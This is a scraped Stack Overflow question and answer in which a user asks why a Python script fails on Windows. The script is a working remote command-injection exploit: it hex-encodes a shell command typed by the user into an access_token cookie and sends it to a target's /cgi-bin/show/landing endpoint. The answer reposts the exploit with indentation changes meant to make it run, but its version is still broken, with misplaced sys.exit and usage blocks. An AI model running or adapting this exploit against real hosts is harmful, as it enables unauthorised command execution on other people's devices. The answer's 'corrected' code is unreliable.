windows Python Name error

旧时模样 提交于 2019-12-12 01:54:01

问题


I am getting name error for this code. error message: Traceback (most recent call last): File "D:\injection.py", line 16, in opts, args = getopt.getopt(argv, "h", ["help", "target="]) NameError: name 'argv' is not defined

#!/usr/bin/python

import sys
import getopt
import urllib

# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])

def main(argv):
        # set defaults
        target = None

   # parse command line options
try:
    opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
            usage()
sys.exit(2)
for opt, arg in opts:
    if opt in ("-h", "--help"):
        usage()
        sys.exit()
    elif opt in ("--target"):
        target = arg

if target is None:
    target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response 
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")

opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()

print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)

def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print ("  --target=<hostname or IP>    Sets the target host.")
print ("Miscellaneous:")
print ("  -h                           Print usage options.")
print ("\n")

if __name__ == "__main__":
main(sys.argv[1:])

Can anyone help me fix the problem.this code works flawless in linux but not in windows


回答1:


There are couple of indentation errors. Try this,

# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])

def main(argv):
    # set defaults
    target = None

    # parse command line options
    try:
        opts, args = getopt.getopt(argv, "h", ["help", "target="])
    except getopt.GetoptError:
                usage()
    sys.exit(2)
    for opt, arg in opts:
        if opt in ("-h", "--help"):
            usage()
            sys.exit()
        elif opt in ("--target"):
            target = arg

    if target is None:
        target = raw_input("Enter target (hostname or IP): ")
    url = "http://" + target + "/cgi-bin/show/landing"
    command = raw_input("Enter command to inject: ")
    encodedCommand = hexEncode("' .; " + command + ";'")
    # uncomment the hacky line below if you want stderr output in the response
    #encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")

    opener = urllib.build_opener()
    opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
    response = opener.open(url)
    content = response.read()

    print ("-----------------------------------------------------")
    print ("GET " + url)
    print ("Cookie: access_token=" + encodedCommand)
    print ("-----------------------------------------------------")
    print (content)

    def usage():
    print ("Usage: web-command-injection.py [options] ...")
    print ("Configuration:")
    print ("  --target=<hostname or IP>    Sets the target host.")
    print ("Miscellaneous:")
    print ("  -h                           Print usage options.")
    print ("\n")

if __name__ == "__main__":
main(sys.argv[1:])


来源:https://stackoverflow.com/questions/29686083/windows-python-name-error

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!